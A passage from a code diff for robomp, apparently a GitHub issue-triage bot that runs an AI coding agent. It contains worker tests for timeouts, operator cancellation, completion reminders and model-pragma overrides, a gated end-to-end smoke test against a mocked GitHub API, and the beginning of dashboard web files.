bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
calls = _FakeRpcClient.instances[0].set_todos_calls
|
||||
assert len(calls) == 1
|
||||
assert calls[0] == _SEEDED_PHASES
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_merges_todos_on_followup_with_resume(tmp_path: Path, settings: Settings) -> None:
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=True)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="handle_comment",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
client = _FakeRpcClient.instances[0]
|
||||
assert client.get_todos_calls == 1
|
||||
assert len(client.set_todos_calls) == 1
|
||||
assert len(client.set_todos_calls[0]) == len(_SEEDED_PHASES)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_passes_slot_uid_user_slot_group_and_omp_extra_group(tmp_path: Path, settings: Settings) -> None:
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False, slot_uid=2001)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
client_kwargs = _FakeRpcClient.instances[0].kwargs
|
||||
assert client_kwargs["user"] == 2001
|
||||
assert client_kwargs["group"] == 2001
|
||||
assert client_kwargs["extra_groups"] == ["omp"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_arms_hard_timeout_timer(
|
||||
tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
timers = []
|
||||
|
||||
class FakeTimer:
|
||||
def __init__(self, interval, function):
|
||||
self.interval = interval
|
||||
self.function = function
|
||||
self.daemon = False
|
||||
self.started = False
|
||||
self.cancelled = False
|
||||
timers.append(self)
|
||||
|
||||
def start(self) -> None:
|
||||
self.started = True
|
||||
|
||||
def cancel(self) -> None:
|
||||
self.cancelled = True
|
||||
|
||||
monkeypatch.setattr("robomp.worker.threading.Timer", FakeTimer)
|
||||
settings.task_timeout_seconds = 3.0
|
||||
settings.task_timeout_hard_grace_seconds = 7.0
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
assert len(timers) == 1
|
||||
timer = timers[0]
|
||||
assert timer.interval == 10.0
|
||||
assert timer.daemon is True
|
||||
assert timer.started is True
|
||||
assert timer.cancelled is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_hard_timeout_stops_client_and_fails(
|
||||
tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
class FiringTimer:
|
||||
def __init__(self, interval, function):
|
||||
self.interval = interval
|
||||
self.function = function
|
||||
self.daemon = False
|
||||
self.cancelled = False
|
||||
|
||||
def start(self) -> None:
|
||||
self.function()
|
||||
|
||||
def cancel(self) -> None:
|
||||
self.cancelled = True
|
||||
|
||||
monkeypatch.setattr("robomp.worker.threading.Timer", FiringTimer)
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
with pytest.raises(TimeoutError, match="hard timeout"):
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
fake = _FakeRpcClient.instances[0]
|
||||
assert fake.stop_calls == 1
|
||||
# `_cancel_hook` (used by both manual cancel and hard timeout) MUST also call
|
||||
# `_mark_closed` to unblock `_wait_for_agent_end` — `stop()` alone leaves
|
||||
# `_closed_error` unset (omp_rpc bug), so the worker would hang otherwise.
|
||||
assert len(fake.mark_closed_calls) == 1
|
||||
from omp_rpc import RpcProcessExitError
|
||||
|
||||
assert isinstance(fake.mark_closed_calls[0], RpcProcessExitError)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_cancel_hook_stops_and_marks_closed(
|
||||
tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
"""The cancel hook registered with `register_cancel_hook` must call both
|
||||
`client.stop()` AND `client._mark_closed()`. The latter is the workaround for
|
||||
an upstream omp_rpc bug where `stop()` does not set `_closed_error`, leaving
|
||||
`_wait_for_agent_end` blocked until timeout."""
|
||||
captured: list = []
|
||||
monkeypatch.setattr("robomp.worker.register_cancel_hook", lambda hook: captured.append(hook))
|
||||
monkeypatch.setattr("robomp.worker.unregister_cancel_hook", lambda: None)
|
||||
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
assert len(captured) == 1
|
||||
hook = captured[0]
|
||||
fake = _FakeRpcClient.instances[0]
|
||||
pre_stop = fake.stop_calls
|
||||
hook() # Simulate the API/worker firing the cancel
|
||||
assert fake.stop_calls == pre_stop + 1
|
||||
assert len(fake.mark_closed_calls) == 1
|
||||
from omp_rpc import RpcProcessExitError
|
||||
|
||||
assert isinstance(fake.mark_closed_calls[0], RpcProcessExitError)
|
||||
assert "cancelled by operator" in str(fake.mark_closed_calls[0])
|
||||
|
||||
|
||||
class _ClassifiedRow:
|
||||
"""Stand-in for `db.IssueRow` carrying just `.classification`."""
|
||||
|
||||
def __init__(self, classification: str | None) -> None:
|
||||
self.classification = classification
|
||||
|
||||
|
||||
def _make_inputs_with_classification(
|
||||
tmp_path: Path,
|
||||
settings: Settings,
|
||||
*,
|
||||
classification: str | None,
|
||||
) -> tuple[worker.TaskInputs, SimpleNamespace]:
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=True)
|
||||
row = _ClassifiedRow(classification) if classification else None
|
||||
inputs.db.get_issue = lambda _key: row # type: ignore[attr-defined]
|
||||
bindings.db = inputs.db # tools_called check uses inputs.db.get_issue
|
||||
return inputs, bindings
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_sends_reminder_when_pr_class_quits_early(tmp_path: Path, settings: Settings) -> None:
|
||||
"""`bug` classified turn that never calls a terminal tool gets a reminder."""
|
||||
inputs, bindings = _make_inputs_with_classification(tmp_path, settings, classification="bug")
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="kickoff",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
fake = _FakeRpcClient.instances[0]
|
||||
# kickoff + 2 reminders (default ROBOMP_TASK_COMPLETION_MAX_REMINDERS=2)
|
||||
assert len(fake.prompts) == 1 + settings.task_completion_max_reminders
|
||||
assert fake.prompts[0] == "kickoff"
|
||||
assert all("terminal action" in p.lower() or "open the pr" in p.lower() for p in fake.prompts[1:])
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_stops_reminding_after_terminal_tool(tmp_path: Path, settings: Settings) -> None:
|
||||
"""A reminder turn that fires `gh_open_pr` halts the loop."""
|
||||
inputs, bindings = _make_inputs_with_classification(tmp_path, settings, classification="bug")
|
||||
|
||||
# First turn returns with no terminal tool; first reminder causes the
|
||||
# agent to "call" gh_open_pr — simulated by mutating the worker's
|
||||
# tools_called set via the on_prompt hook on the next prompt.
|
||||
def _on_prompt(client: _FakeRpcClient, prompt: str) -> None:
|
||||
if len(client.prompts) == 2: # this is the first reminder
|
||||
# Mimic a tool_end firing during the reminder turn by writing
|
||||
# into the closure set the driver tracks. We can't reach it
|
||||
# directly; instead trip the abort path? No — use the public
|
||||
# contract: tool_end fires through on_tool_execution_end. The
|
||||
# driver registers the callback before prompt_and_wait, so we
|
||||
# replay it here.
|
||||
for cb in client._tool_end_callbacks:
|
||||
cb(SimpleNamespace(tool_name="gh_open_pr", result={}))
|
||||
|
||||
# Capture the registered tool_end callback on the fake.
|
||||
original_on_tool_end = _FakeRpcClient.on_tool_execution_end
|
||||
|
||||
def _record_tool_end(self, cb) -> None:
|
||||
self._tool_end_callbacks = getattr(self, "_tool_end_callbacks", [])
|
||||
self._tool_end_callbacks.append(cb)
|
||||
|
||||
_FakeRpcClient.on_tool_execution_end = _record_tool_end # type: ignore[assignment]
|
||||
try:
|
||||
_FakeRpcClient.on_prompt = staticmethod(_on_prompt) # type: ignore[attr-defined]
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="kickoff",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
finally:
|
||||
_FakeRpcClient.on_tool_execution_end = original_on_tool_end # type: ignore[assignment]
|
||||
delattr(_FakeRpcClient, "on_prompt")
|
||||
|
||||
fake = _FakeRpcClient.instances[0]
|
||||
# kickoff + 1 reminder; second reminder NOT sent because gh_open_pr fired.
|
||||
assert len(fake.prompts) == 2, fake.prompts
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_skips_reminder_for_non_pr_classification(tmp_path: Path, settings: Settings) -> None:
|
||||
"""`question` classified turns are not enforced — no reminder."""
|
||||
inputs, bindings = _make_inputs_with_classification(tmp_path, settings, classification="question")
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="kickoff",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
fake = _FakeRpcClient.instances[0]
|
||||
assert len(fake.prompts) == 1
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_skips_reminder_when_unclassified(tmp_path: Path, settings: Settings) -> None:
|
||||
"""No classification (agent quit before classify_issue) → no reminder."""
|
||||
inputs, bindings = _make_inputs_with_classification(tmp_path, settings, classification=None)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="kickoff",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
fake = _FakeRpcClient.instances[0]
|
||||
assert len(fake.prompts) == 1
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Natives-cache capture-on-success
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class _RecordingNativesCache:
|
||||
"""Test double for `NativesCache`: records `capture` calls, optionally
|
||||
raises so we can verify exception swallowing."""
|
||||
|
||||
def __init__(self, *, raise_on_capture: bool = False) -> None:
|
||||
self.capture_calls: list[tuple[str, str, Path]] = []
|
||||
self.raise_on_capture = raise_on_capture
|
||||
|
||||
def capture(self, repo: str, key: str, native_dir: Path, **_kwargs) -> Path | None:
|
||||
self.capture_calls.append((repo, key, native_dir))
|
||||
if self.raise_on_capture:
|
||||
raise RuntimeError("simulated cache failure")
|
||||
return native_dir
|
||||
|
||||
|
||||
def _make_capture_inputs(
|
||||
tmp_path: Path,
|
||||
settings: Settings,
|
||||
*,
|
||||
cache: _RecordingNativesCache | None,
|
||||
with_native_artifacts: bool,
|
||||
) -> worker.TaskInputs:
|
||||
"""Build a `TaskInputs` whose workspace optionally has built natives."""
|
||||
inputs, _ = _make_inputs(tmp_path, settings, session_has_jsonl=False)
|
||||
# Replace the SimpleNamespace workspace with one carrying the fields
|
||||
# `_capture_natives_cache` needs (workspace_key + repo_full_name).
|
||||
ws = SimpleNamespace(
|
||||
root=inputs.workspace.root,
|
||||
session_dir=inputs.workspace.session_dir,
|
||||
repo_dir=inputs.workspace.repo_dir,
|
||||
branch=inputs.workspace.branch,
|
||||
workspace_key="acme__widgets__1",
|
||||
repo_full_name="acme/widgets",
|
||||
)
|
||||
if with_native_artifacts:
|
||||
native_dir = ws.repo_dir / "packages" / "natives" / "native"
|
||||
native_dir.mkdir(parents=True)
|
||||
(native_dir / "pi_natives.linux-arm64.node").write_bytes(b"ELFx")
|
||||
(native_dir / "index.d.ts").write_text("")
|
||||
(native_dir / "index.js").write_text("")
|
||||
(native_dir / "embedded-addon.js").write_text("")
|
||||
return worker.TaskInputs(
|
||||
settings=settings,
|
||||
db=inputs.db,
|
||||
github=inputs.github,
|
||||
git_transport=inputs.git_transport,
|
||||
repo=inputs.repo,
|
||||
issue=inputs.issue,
|
||||
workspace=ws, # type: ignore[arg-type]
|
||||
delivery_id=inputs.delivery_id,
|
||||
attempts=inputs.attempts,
|
||||
slot_uid=inputs.slot_uid,
|
||||
natives_cache=cache, # type: ignore[arg-type]
|
||||
)
|
||||
|
||||
|
||||
def test_capture_natives_cache_no_op_without_cache(tmp_path: Path, settings: Settings) -> None:
|
||||
inputs = _make_capture_inputs(tmp_path, settings, cache=None, with_native_artifacts=True)
|
||||
# Just must not raise.
|
||||
worker._capture_natives_cache(inputs)
|
||||
|
||||
|
||||
def test_capture_natives_cache_skips_without_artifacts(tmp_path: Path, settings: Settings) -> None:
|
||||
cache = _RecordingNativesCache()
|
||||
inputs = _make_capture_inputs(tmp_path, settings, cache=cache, with_native_artifacts=False)
|
||||
worker._capture_natives_cache(inputs)
|
||||
# No artifacts → no key compute, no capture.
|
||||
assert cache.capture_calls == []
|
||||
|
||||
|
||||
def test_capture_natives_cache_swallows_key_compute_failure(
|
||||
tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
cache = _RecordingNativesCache()
|
||||
inputs = _make_capture_inputs(tmp_path, settings, cache=cache, with_native_artifacts=True)
|
||||
# Repo dir is not a git repo → natives_compute_key raises.
|
||||
# Already true for the SimpleNamespace workspace (repo_dir is plain tmp dir).
|
||||
worker._capture_natives_cache(inputs)
|
||||
assert cache.capture_calls == []
|
||||
|
||||
|
||||
def test_capture_natives_cache_swallows_capture_exception(
|
||||
tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
cache = _RecordingNativesCache(raise_on_capture=True)
|
||||
inputs = _make_capture_inputs(tmp_path, settings, cache=cache, with_native_artifacts=True)
|
||||
# Bypass git: stub the key compute so capture is reached.
|
||||
monkeypatch.setattr(worker, "natives_compute_key", lambda _repo_dir: "deadbeef")
|
||||
# Must not propagate the RuntimeError.
|
||||
worker._capture_natives_cache(inputs)
|
||||
assert len(cache.capture_calls) == 1
|
||||
|
||||
|
||||
def test_capture_natives_cache_records_on_success(
|
||||
tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
cache = _RecordingNativesCache()
|
||||
inputs = _make_capture_inputs(tmp_path, settings, cache=cache, with_native_artifacts=True)
|
||||
monkeypatch.setattr(worker, "natives_compute_key", lambda _repo_dir: "cafef00d")
|
||||
worker._capture_natives_cache(inputs)
|
||||
assert len(cache.capture_calls) == 1
|
||||
repo, key, native_dir = cache.capture_calls[0]
|
||||
assert repo == "acme/widgets"
|
||||
assert key == "cafef00d"
|
||||
assert native_dir == inputs.workspace.repo_dir / "packages" / "natives" / "native"
|
||||
@@ -0,0 +1,80 @@
|
||||
"""Worker-side pragma resolution: model + thinking overrides."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import pytest
|
||||
|
||||
from robomp.config import Settings, reset_settings_cache
|
||||
from robomp.worker import DirectiveInfo, _resolve_pragma_overrides
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def settings_with_pool(monkeypatch: pytest.MonkeyPatch, env: dict[str, str]) -> Settings:
|
||||
monkeypatch.setenv(
|
||||
"ROBOMP_MODEL",
|
||||
"p-anthropic/claude-sonnet-4-6,p-openai/gpt-5.5,p-openai/gpt-5.5-mini",
|
||||
)
|
||||
reset_settings_cache()
|
||||
return Settings() # type: ignore[call-arg]
|
||||
|
||||
|
||||
def test_no_directive_means_no_override(settings_with_pool: Settings) -> None:
|
||||
assert _resolve_pragma_overrides(None, settings_with_pool) == (None, None)
|
||||
|
||||
|
||||
def test_directive_without_pragmas_means_no_override(settings_with_pool: Settings) -> None:
|
||||
directive = DirectiveInfo(body="run it", author="can1357")
|
||||
assert _resolve_pragma_overrides(directive, settings_with_pool) == (None, None)
|
||||
|
||||
|
||||
def test_model_pragma_resolves_to_pool_entry(settings_with_pool: Settings) -> None:
|
||||
directive = DirectiveInfo(body="run", author="can1357", pragmas=(("model", "gpt"),))
|
||||
model_override, thinking_override = _resolve_pragma_overrides(directive, settings_with_pool)
|
||||
assert model_override == "p-openai/gpt-5.5"
|
||||
assert thinking_override is None
|
||||
|
||||
|
||||
def test_model_alias_exact_short_name(settings_with_pool: Settings) -> None:
|
||||
directive = DirectiveInfo(body="run", author="can1357", pragmas=(("model", "gpt-5.5-mini"),))
|
||||
model_override, _ = _resolve_pragma_overrides(directive, settings_with_pool)
|
||||
assert model_override == "p-openai/gpt-5.5-mini"
|
||||
|
||||
|
||||
def test_unmatched_model_alias_falls_back_to_random_pick(settings_with_pool: Settings) -> None:
|
||||
directive = DirectiveInfo(body="run", author="can1357", pragmas=(("model", "qwen"),))
|
||||
model_override, _ = _resolve_pragma_overrides(directive, settings_with_pool)
|
||||
assert model_override is None
|
||||
|
||||
|
||||
def test_thinking_pragma_normalized(settings_with_pool: Settings) -> None:
|
||||
directive = DirectiveInfo(body="run", author="can1357", pragmas=(("thinking", "LOW"),))
|
||||
model_override, thinking_override = _resolve_pragma_overrides(directive, settings_with_pool)
|
||||
assert model_override is None
|
||||
assert thinking_override == "low"
|
||||
|
||||
|
||||
def test_unknown_thinking_level_dropped(settings_with_pool: Settings) -> None:
|
||||
directive = DirectiveInfo(body="run", author="can1357", pragmas=(("thinking", "ultra"),))
|
||||
_, thinking_override = _resolve_pragma_overrides(directive, settings_with_pool)
|
||||
assert thinking_override is None
|
||||
|
||||
|
||||
def test_both_pragmas_resolved_together(settings_with_pool: Settings) -> None:
|
||||
directive = DirectiveInfo(
|
||||
body="run",
|
||||
author="can1357",
|
||||
pragmas=(("model", "claude"), ("thinking", "medium")),
|
||||
)
|
||||
model_override, thinking_override = _resolve_pragma_overrides(directive, settings_with_pool)
|
||||
assert model_override == "p-anthropic/claude-sonnet-4-6"
|
||||
assert thinking_override == "medium"
|
||||
|
||||
|
||||
def test_last_value_wins_for_duplicate_keys(settings_with_pool: Settings) -> None:
|
||||
directive = DirectiveInfo(
|
||||
body="run",
|
||||
author="can1357",
|
||||
pragmas=(("model", "claude"), ("model", "gpt")),
|
||||
)
|
||||
model_override, _ = _resolve_pragma_overrides(directive, settings_with_pool)
|
||||
assert model_override == "p-openai/gpt-5.5"
|
||||
@@ -0,0 +1,201 @@
|
||||
"""Gated end-to-end smoke test.
|
||||
|
||||
Runs only when ROBOMP_INTEGRATION=1 and `omp` is available on PATH (or via
|
||||
ROBOMP_OMP_COMMAND). Spins up:
|
||||
|
||||
- a local bare git repo with a trivial failing test,
|
||||
- a fake GitHub API via httpx.MockTransport that records comments + PRs,
|
||||
- a real `omp --mode rpc` subprocess driven by `worker.run_task`.
|
||||
|
||||
Asserts that triage_issue produces:
|
||||
- at least one issue comment,
|
||||
- one PR matching the body template,
|
||||
- a pushed branch on the bare repo,
|
||||
- an `opened` row in sqlite.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
|
||||
INTEGRATION = os.environ.get("ROBOMP_INTEGRATION") == "1"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not INTEGRATION,
|
||||
reason="ROBOMP_INTEGRATION=1 required to run the omp-backed smoke test",
|
||||
)
|
||||
|
||||
|
||||
def _git(cwd: Path, *args: str, check: bool = True) -> subprocess.CompletedProcess[str]:
|
||||
env = os.environ | {
|
||||
"GIT_AUTHOR_NAME": "t",
|
||||
"GIT_AUTHOR_EMAIL": "t@t",
|
||||
"GIT_COMMITTER_NAME": "t",
|
||||
"GIT_COMMITTER_EMAIL": "t@t",
|
||||
}
|
||||
return subprocess.run(["git", *args], cwd=str(cwd), check=check, capture_output=True, text=True, env=env)
|
||||
|
||||
|
||||
def _seed_failing_repo(tmp_path: Path) -> Path:
|
||||
bare = tmp_path / "upstream.git"
|
||||
bare.mkdir()
|
||||
_git(bare.parent, "init", "--initial-branch=main", "--bare", str(bare))
|
||||
seed = tmp_path / "seed"
|
||||
seed.mkdir()
|
||||
_git(seed, "init", "--initial-branch=main")
|
||||
(seed / "test.js").write_text(
|
||||
"const assert = require('assert');\n"
|
||||
"// FIXME: this assertion is wrong; the answer is 4.\n"
|
||||
"assert.strictEqual(2 + 2, 5);\n"
|
||||
)
|
||||
(seed / "README.md").write_text("toy repo\n")
|
||||
_git(seed, "add", ".")
|
||||
_git(seed, "commit", "-m", "init")
|
||||
_git(seed, "remote", "add", "origin", str(bare))
|
||||
_git(seed, "push", "origin", "main")
|
||||
return bare
|
||||
|
||||
|
||||
def test_triage_end_to_end(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
from robomp.config import Settings, reset_settings_cache
|
||||
from robomp.db import Database
|
||||
from robomp.github_client import GitHubClient
|
||||
from robomp.sandbox import LocalGitTransport, SandboxManager
|
||||
from robomp.tasks import triage_issue
|
||||
|
||||
bare = _seed_failing_repo(tmp_path)
|
||||
|
||||
monkeypatch.setenv("ROBOMP_GH_PROXY_URL", "http://gh-proxy.invalid:8081")
|
||||
monkeypatch.setenv("ROBOMP_GH_PROXY_HMAC_KEY", "test-hmac-key-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
|
||||
monkeypatch.setenv("GITHUB_TOKEN", "")
|
||||
monkeypatch.setenv("GITHUB_WEBHOOK_SECRET", "secret")
|
||||
monkeypatch.setenv("ROBOMP_BOT_LOGIN", "robomp-bot")
|
||||
monkeypatch.setenv("ROBOMP_REPO_ALLOWLIST", "octo/widget")
|
||||
monkeypatch.setenv("ROBOMP_WORKSPACE_ROOT", str(tmp_path / "workspaces"))
|
||||
monkeypatch.setenv("ROBOMP_SQLITE_PATH", str(tmp_path / "robomp.sqlite"))
|
||||
monkeypatch.setenv("ROBOMP_LOG_DIR", str(tmp_path / "logs"))
|
||||
monkeypatch.setenv("ROBOMP_TASK_TIMEOUT_SECONDS", "300")
|
||||
reset_settings_cache()
|
||||
cfg = Settings() # type: ignore[call-arg]
|
||||
cfg.ensure_paths()
|
||||
|
||||
# Fake GitHub: capture POSTs, serve repo/issue/comments GETs.
|
||||
comments: list[dict[str, Any]] = []
|
||||
prs: list[dict[str, Any]] = []
|
||||
next_comment_id = [100]
|
||||
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
path = request.url.path
|
||||
method = request.method
|
||||
if method == "GET" and path == "/repos/octo/widget":
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"full_name": "octo/widget",
|
||||
"default_branch": "main",
|
||||
"clone_url": str(bare),
|
||||
"private": False,
|
||||
},
|
||||
)
|
||||
if method == "GET" and path == "/repos/octo/widget/issues/1":
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"number": 1,
|
||||
"title": "2+2 should be 4",
|
||||
"body": "Running `node test.js` exits non-zero because the assertion claims 2+2 is 5.",
|
||||
"state": "open",
|
||||
"user": {"login": "alice"},
|
||||
"labels": [],
|
||||
},
|
||||
)
|
||||
if method == "GET" and path == "/repos/octo/widget/issues/1/comments":
|
||||
return httpx.Response(200, json=comments)
|
||||
if method == "POST" and path == "/repos/octo/widget/issues/1/comments":
|
||||
body = json.loads(request.content)
|
||||
next_comment_id[0] += 1
|
||||
comment = {
|
||||
"id": next_comment_id[0],
|
||||
"user": {"login": "robomp-bot"},
|
||||
"body": body["body"],
|
||||
"created_at": "now",
|
||||
}
|
||||
comments.append(comment)
|
||||
return httpx.Response(201, json=comment)
|
||||
if method == "POST" and path == "/repos/octo/widget/pulls":
|
||||
body = json.loads(request.content)
|
||||
pr = {
|
||||
"number": 7,
|
||||
"html_url": "https://example.invalid/octo/widget/pull/7",
|
||||
"head": {"ref": body["head"]},
|
||||
"base": {"ref": body["base"]},
|
||||
"state": "open",
|
||||
"title": body["title"],
|
||||
"body": body["body"],
|
||||
}
|
||||
prs.append(pr)
|
||||
return httpx.Response(201, json=pr)
|
||||
return httpx.Response(404, json={"message": f"unmocked {method} {path}"})
|
||||
|
||||
transport = httpx.MockTransport(handler)
|
||||
|
||||
payload = {
|
||||
"action": "opened",
|
||||
"issue": {
|
||||
"number": 1,
|
||||
"title": "2+2 should be 4",
|
||||
"body": "Running `node test.js` exits non-zero because the assertion claims 2+2 is 5.",
|
||||
"state": "open",
|
||||
"user": {"login": "alice"},
|
||||
"labels": [],
|
||||
},
|
||||
"repository": {
|
||||
"full_name": "octo/widget",
|
||||
"default_branch": "main",
|
||||
"clone_url": str(bare),
|
||||
"private": False,
|
||||
},
|
||||
}
|
||||
|
||||
async def _go() -> None:
|
||||
db = Database(cfg.sqlite_path)
|
||||
github = GitHubClient("ghp_test", transport=transport)
|
||||
sandbox = SandboxManager(cfg.workspace_root)
|
||||
await triage_issue(
|
||||
settings=cfg,
|
||||
db=db,
|
||||
github=github,
|
||||
git_transport=LocalGitTransport(token=None),
|
||||
sandbox=sandbox,
|
||||
payload=payload,
|
||||
delivery_id="smoke-test",
|
||||
)
|
||||
row = db.get_issue("octo/widget#1")
|
||||
assert row is not None, "issue row missing"
|
||||
assert row.state in {"opened"}, f"unexpected state {row.state}"
|
||||
db.close()
|
||||
|
||||
asyncio.run(_go())
|
||||
|
||||
assert prs, "no PR opened"
|
||||
pr = prs[0]
|
||||
for section in ("## Repro", "## Cause", "## Fix", "## Verification"):
|
||||
assert section in pr["body"], f"PR body missing {section}"
|
||||
assert "Fixes #1" in pr["body"]
|
||||
# Branch should be pushed to the bare repo.
|
||||
refs = subprocess.run(
|
||||
["git", "-C", str(bare), "for-each-ref", "--format=%(refname)"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
assert any(r.startswith("refs/heads/farm/") for r in refs.stdout.splitlines()), refs.stdout
|
||||
assert comments, "expected at least one comment"
|
||||
@@ -0,0 +1,19 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
|
||||
<meta name="color-scheme" content="dark" />
|
||||
<meta name="theme-color" content="#07090c" />
|
||||
<title>robomp</title>
|
||||
<link
|
||||
rel="icon"
|
||||
href="data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 64 64'><circle cx='32' cy='32' r='28' fill='%230a84ff'/><circle cx='32' cy='32' r='12' fill='%23ffffff'/></svg>"
|
||||
/>
|
||||
</head>
|
||||
<body>
|
||||
<div id="app"></div>
|
||||
<script id="robomp-config" type="application/json">__ROBOMP_CONFIG__</script>
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,24 @@
|
||||
{
|
||||
"name": "robomp-web",
|
||||
"private": true,
|
||||
"version": "0.1.0",
|
||||
"type": "module",
|
||||
"description": "Glassmorphic SolidJS dashboard bundled by Vite and served by robomp's FastAPI app.",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "vite build",
|
||||
"preview": "vite preview",
|
||||
"typecheck": "tsc --noEmit"
|
||||
},
|
||||
"dependencies": {
|
||||
"solid-js": "^1.9.12"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/vite": "^4.0.14",
|
||||
"@types/node": "^22.10.5",
|
||||
"tailwindcss": "^4.0.14",
|
||||
"typescript": "^5.7.3",
|
||||
"vite": "^5.4.14",
|
||||
"vite-plugin-solid": "^2.11.6"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
import { type JSX, onCleanup, onMount } from "solid-js";
|
||||
|
||||
import { Browse } from "./components/Browse";
|
||||
import { Events } from "./components/Events";
|
||||
import { Header } from "./components/Header";
|
||||
import { Issues } from "./components/Issues";
|
||||
import { Logs } from "./components/Logs";
|
||||
import { Stats } from "./components/Stats";
|
||||
import { Trigger } from "./components/Trigger";
|
||||
import { Working } from "./components/Working";
|
||||
import { runTrigger, startPolling, stopPolling } from "./state";
|
||||
|
||||
export function App(): JSX.Element {
|
||||
